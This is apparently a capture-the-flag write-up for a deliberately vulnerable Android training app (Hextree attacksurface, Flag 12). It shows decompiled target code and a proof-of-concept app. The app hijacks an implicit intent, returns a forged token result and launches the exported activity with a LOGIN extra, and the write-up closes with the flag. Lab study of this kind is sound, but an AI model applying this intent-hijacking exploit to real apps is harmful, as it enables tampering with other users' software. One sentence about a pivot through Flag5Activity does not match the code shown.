Static Analysis
AndroidManifest.xml
Upon inspecting the Flag12Activity in the AndroidManifest.xml file we see the following
<activity
android:name="io.hextree.attacksurface.activities.Flag12Activity"
android:exported="true">Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag
Flag12Activity Class
public class Flag12Activity extends AppCompactActivity {
public Flag12Activity() {
this.name = "Flag 12 - Careful intent conditions";
this.tag = "ImplicitIntent";
this.tagColor = R.color.red;
this.flag = "7fMhFI6jFIsxEigigrq3J4VQVhhj9PL1V8LbUriEMssqCIUTj/Ynrsn4fvVXZJle";
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
if (getIntent().getAction() == null) {
Toast.makeText(this, "Sending implicit intent to\nio.hextree.attacksurface.ATTACK_ME", 1).show();
Intent intent = new Intent("io.hextree.attacksurface.ATTACK_ME");
intent.addFlags(8);
try {
startActivityForResult(intent, 42);
} catch (RuntimeException e) {
e.printStackTrace();
Toast.makeText(this, "No app found to handle the intent\nio.hextree.attacksurface.ATTACK_ME", 1).show();
finish();
}
}
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
if (intent == null || getIntent() == null || !getIntent().getBooleanExtra("LOGIN", false)) {
return;
}
this.f.addTag("LOGIN");
if (intent.getIntExtra("token", -1) == 1094795585) {
this.f.addTag(1094795585);
success(this);
}
}
}Upon reviewing the code we see that when this class is called it sends an implicit intent to with io.hextree.attacksurface.ATTACK_ME action and this intent is started with startActivityForResult so it expects some results, in the onActivityResult function it expects two things:
getIntent().getBooleanExtra("LOGIN")to betrueintent.getIntExtra("token")to be equals1094795585So what’s the difference between those two,getIntent()points to the intent that started the activity in our example our POC APK whileintentpoints to the intent that was sent in the results. Let’s create our POC
Creating POC
AndroidManifest.xml
The first thing we want to do is the set the exported option to true so other apps can call this activity
Secondly we need to make this acitivity a default reciever for the io.hextree.attacksurface.ATTACK_ME action so when the target fires an implicit intent with this action it goes to our activity
<activity
android:name=".Flag12"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.attacksurface.ATTACK_ME" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>Flag12.java
Now we create an activity that recieves the intent and prints the extra called flag
We also used the pivot utility that uses Flag5Activity as a pivot so we can call Flag10Activity as it’s not exported so we can’t call it directly
public class Flag12 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
///////////////////////////////////////////
// If It Was Called From Outside The APK //
///////////////////////////////////////////
if (getCallingActivity() != null) {
Log.v("Flag12 - Debug", "Flag12 started for a result by: " + getCallingActivity().flattenToString());
// -------- Sending the needed data to get the flag -------- //
Intent result = new Intent();
result.putExtra("token", 1094795585);
// -------- Returning the result to the calling activity -------- //
setResult(RESULT_OK, result);
finish(); // Immediately finish and return the result.
return;
}
////////////////////////////////////////////
// If We Opened The Activity From Our APK //
////////////////////////////////////////////
setContentView(R.layout.activity_flag12);
getSupportActionBar().setTitle("Flag 12");
Button button = findViewById(R.id.button_flag12);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("Flag12 - Debug", "Attempting to get the flag");
Intent attackIntent = new Intent();
attackIntent.setComponent(new ComponentName("io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag12Activity"));
// Set the LOGIN extra to TRUE
attackIntent.putExtra("LOGIN",true);
startActivity(attackIntent);
}
});
}
}Flag
HXT{tricky-intent-condition-bjhs782}